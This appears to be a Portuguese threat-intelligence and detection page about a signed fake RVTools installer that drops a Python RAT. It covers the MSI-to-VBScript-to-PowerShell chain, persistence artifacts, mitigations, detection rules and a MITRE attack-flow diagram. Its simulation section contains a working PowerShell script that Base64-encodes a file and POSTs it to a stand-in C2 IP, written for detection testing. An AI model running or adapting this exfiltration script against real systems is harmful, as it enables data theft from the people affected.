RVTools Mascarada: Como um Installer Falso Assinado Implanta um RAT Modular em Python
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um instalador MSI malicioso assinado com um certificado legítimo se disfarça como a utilidade RVTools usada por administradores do VMware. Uma vez executado, o instalador solta um VBScript que lança o PowerShell para baixar um grande arquivo ZIP do Dropbox. Esse arquivo contém um ambiente Python portátil que executa um RAT em várias etapas, capaz de reconhecimento, persistência e comunicação com servidores de comando e controle com endereços hard-coded.
Investigação
A análise rastreou o MSI para uma ação de VBScript personalizada, Binary.MyScript.vbs, que decodificou um comando PowerShell ofuscado. Esse comando baixava um winp.zip payload em %APPDATA%, extraía componentes e scripts Python, como collector.py and Pmanager.py, e então estabelecia persistência por meio de chaves de execução do registro e uma tarefa agendada após a reinicialização. Os pesquisadores também descobriram que o RAT criptografava dados coletados com RC4 e enviava sinais para cinco endereços IP fixos em intervalos de cinco minutos.
Mitigação
As organizações devem impor validações rigorosas de assinatura de código com verificações ao vivo de OCSP ou CRL, bloquear a execução de MSI não confiáveis e monitorar ações de VBScript personalizadas suspeitas embutidas em pacotes de instalação. Os defensores também devem prevenir a execução automática de scripts baixados, observar novas entradas de chave Run e a criação de tarefas agendadas, e alertar sobre o tráfego de saída para endereços IP hard-coded não familiares.
Resposta
Se esta atividade for detectada, isole o endpoint afetado imediatamente, colete o MSI, VBScript e arquivos de payload extraídos para análise forense, e remova todos os artefatos de persistência, incluindo a chave Run e a tarefa agendada. Os endereços IP de comando e controle identificados devem ser bloqueados no firewall, e uma revisão mais ampla de credenciais e da atividade do Active Directory deve ser realizada para determinar se ocorreu movimento lateral.
graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access[“<b>Fase</b>: Acesso inicial<br/><b>Ação</b> – A vítima executa um MSI malicioso assinado que se faz passar por RVTools.”] class phase_initial_access phase phase_execution[“<b>Fase</b>: Execução<br/><b>Ação</b> – MSI usa Msiexec para executar VBScript que inicia um downloader oculto em PowerShell.”] class phase_execution phase phase_payload[“<b>Fase</b>: Implantação da carga útil<br/><b>Ação</b> – Arquivo é extraído para um ambiente portátil WinPython contendo collector.py e manager.py.”] class phase_payload phase phase_persistence[“<b>Fase</b>: Persistência<br/><b>Ação</b> – O manager Python cria chave Run no Registro, tarefa agendada e entrada Active Setup.”] class phase_persistence phase phase_c2[“<b>Fase</b>: Comando e Controle<br/><b>Ação</b> – Dados coletados são arquivados, criptografados com RC4 e exfiltrados via HTTP POST para IPs codificados.”] class phase_c2 phase phase_evasion[“<b>Fase</b>: Evasão de defesa<br/><b>Ação</b> – Uso de binários assinados, execução proxy e ofuscação de caracteres para evasão.”] class phase_evasion phase %% Techniques for Initial Access tech_user_execution[“<b>Técnica</b> T1204.002 Execução pelo usuário: arquivo malicioso<br/>A vítima executa um arquivo que acredita ser legítimo.”] class tech_user_execution technique tech_masquerading[“<b>Técnica</b> T1036.001 Mascaramento<br/>Binário assinado e nomeado como utilitário legítimo (RVTools).”] class tech_masquerading technique tech_trusted_dev_proxy[“<b>Técnica</b> T1127 Execução proxy de ferramentas confiáveis de desenvolvedor<br/>Binário assinado usado para contornar verificações de reputação.”] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy[“<b>Técnica</b> T1218.007 Execução proxy de binário do sistema: Msiexec<br/>Msiexec executa o MSI malicioso.”] class tech_msiexec_proxy technique tech_vbscript[“<b>Técnica</b> T1059.005 Interpretador de comandos: Visual Basic<br/>Ação personalizada executa VBScript.”] class tech_vbscript technique tech_powershell[“<b>Técnica</b> T1059.001 Interpretador de comandos: PowerShell<br/>VBScript decodifica e executa comando oculto de download em PowerShell.”] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom[“<b>Técnica</b> T1560.003 Arquivamento de dados coletados: método personalizado<br/>ZIP de 33MB (winp.zip) é baixado e extraído para criar ambiente Python portátil.”] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run[“<b>Técnica</b> T1037.004 Scripts de inicialização: Registro Run<br/>Chave Run criada para executar manager.py na inicialização.”] class tech_registry_run persistence tech_scheduled_task[“<b>Técnica</b> T1053 Tarefa agendada<br/>Tarefa diária executada com privilégios SYSTEM.”] class tech_scheduled_task persistence tech_active_setup[“<b>Técnica</b> T1547.014 Execução automática Active Setup<br/>Entrada Active Setup garante execução por usuário.”] class tech_active_setup persistence tech_hijack_execution[“<b>Técnica</b> T1574 Sequestro do fluxo de execução<br/>Tarefa agendada usada para desviar execução normal.”] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted[“<b>Técnica</b> T1048.003 Exfiltração via protocolo não C2 sem criptografia<br/>Dados enviados via HTTP POST para IPs codificados.”] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[“<b>Técnica</b> T1048.002 Exfiltração criptografada assimétrica não C2<br/>Dados criptografados com RC4 antes da transmissão.”] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy[“<b>Técnica</b> T1216.002 Execução proxy de script do sistema: SyncAppvPublishingServer<br/>Scripts confiáveis usados como proxy para ocultar atividade.”] class tech_system_script_proxy evasion tech_system_binary_proxy[“<b>Técnica</b> T1218 Execução proxy de binários do sistema<br/>Utilitários assinados abusados para burlar controle de aplicações.”] class tech_system_binary_proxy evasion %% Artifacts artifact_msi[“<b>Artefato</b>: malicious_RVTools.msi<br/>MSI assinado usado para acesso inicial.”] class artifact_msi artifact artifact_zip[“<b>Artefato</b>: winp.zip<br/>Arquivo hospedado no Dropbox com WinPython portátil.”] class artifact_zip artifact artifact_python_env[“<b>Artefato</b>: ambiente WinPython<br/>Contém collector.py e manager.py.”] class artifact_python_env artifact artifact_registry_key[“<b>Artefato</b>: chave de Registro Run<br/>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinPythonMgr”] class artifact_registry_key artifact artifact_scheduled_task[“<b>Artefato</b>: tarefa agendada<br/>WinPythonDaily executada como SYSTEM.”] class artifact_scheduled_task artifact artifact_active_setup[“<b>Artefato</b>: entrada Active Setup<br/>HKLM\\Software\\Microsoft\\Active Setup\\Installed Components\\WinPython”] class artifact_active_setup artifact artifact_c2_ip[“<b>Artefato</b>: IPs C2<br/>IPs IPv4 codificados acessados via HTTP.”] class artifact_c2_ip artifact %% Connections phase_initial_access –>|usa| tech_user_execution phase_initial_access –>|usa| tech_masquerading phase_initial_access –>|usa| tech_trusted_dev_proxy phase_initial_access –>|entrega| artifact_msi tech_user_execution –>|executa| artifact_msi tech_masquerading –>|habilita| artifact_msi tech_trusted_dev_proxy –>|bypassa| artifact_msi phase_execution –>|usa| tech_msiexec_proxy tech_msiexec_proxy –>|executa| tech_vbscript tech_vbscript –>|inicia| tech_powershell tech_powershell –>|baixa| artifact_zip artifact_zip –>|extraído para| artifact_python_env phase_payload –>|contém| artifact_python_env phase_persistence –>|cria| tech_registry_run phase_persistence –>|cria| tech_scheduled_task phase_persistence –>|cria| tech_active_setup phase_persistence –>|usa| tech_hijack_execution tech_registry_run –>|escreve| artifact_registry_key tech_scheduled_task –>|cria| artifact_scheduled_task tech_active_setup –>|escreve| artifact_active_setup phase_c2 –>|arquiva e criptografa dados| tech_archive_custom tech_archive_custom –>|envia via| tech_exfil_unencrypted tech_exfil_unencrypted –>|usa| artifact_c2_ip tech_exfil_unencrypted –>|também usa| tech_exfil_asymmetric phase_evasion –>|aplica| tech_system_script_proxy phase_evasion –>|aplica| tech_system_binary_proxy tech_system_binary_proxy –>|facilita| tech_msiexec_proxy tech_system_script_proxy –>|facilita| tech_vbscript
Fluxo de Ataque
Detecções
LOLBAS WScript / CScript (via criação_de_processo)
Visualizar
Execução de Python de Pastas Suspeitas (via linha_de_comando)
Visualizar
A Possibilidade de Execução Através de Linhas de Comando PowerShell Ocultas (via linha_de_comando)
Visualizar
Um Arquivo Foi Extraído para Diretório Suspeito Usando Powershell (via powershell)
Visualizar
Consultas DNS de Subdomínios da API do Dropbox Possivelmente Iniciadas por Processos Não Legítimos (via consulta_dns)
Visualizar
IOCs (HashSha256) para detectar: Disfarce RVTools: Como um Instalador Falso Assinado Implanta um RAT Modular em Python
Visualizar
IOCs (HashMd5) para detectar: Disfarce RVTools: Como um Instalador Falso Assinado Implanta um RAT Modular em Python
Visualizar
Detecção de Exfiltração de Dados via IPs Codificados e HTTP POST [Conexão de Rede do Windows]
Visualizar
Detecção de Execução PowerShell Maliciosa Oculta e Invoke-WebRequest [Windows Powershell]
Visualizar
Instalador Falso RVTools Suspeito Implantando RAT em Python [Criação de Processo do Windows]
Visualizar
Execução de Simulação
Pré-Requisito: O Check de Pré-voo de Telemetria & Baseline deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um adversário que já estabeleceu uma base na máquina da vítima decide exfiltrar um pequeno conjunto de dados (por exemplo,C:Tempsecret.txt). Para evitar acionar alertas genéricos de tráfego de saída, o ator usa uma PowerShell linha-única que executa um HTTP POST diretamente para um dos IPs C2 codificados (192.0.2.10). O comando é agendado via um Tarefa Agendada do Windows para garantir persistência (T1546.013). Nenhum binário adicional é baixado, mantendo a atividade como ‘vivendo da terra’. -
Script de Teste de Regressão:
# ------------------------------------------------- # Script PowerShell – Exfiltração de dados via IP codificado # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Garantir que o arquivo exista (criar dados fictícios para teste) if (-Not (Test-Path $file)) { "dados sensíveis $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Ler conteúdo do arquivo e codificar em Base64 $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # Executar o HTTP POST $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Tentativa de exfiltração enviada para $c2Ip" } catch { Write-Error "Exfiltração falhou: $_" } -
Comandos de Limpeza:
# Remover o arquivo fictício Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Excluir qualquer tarefa agendada criada para o teste (se houver) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }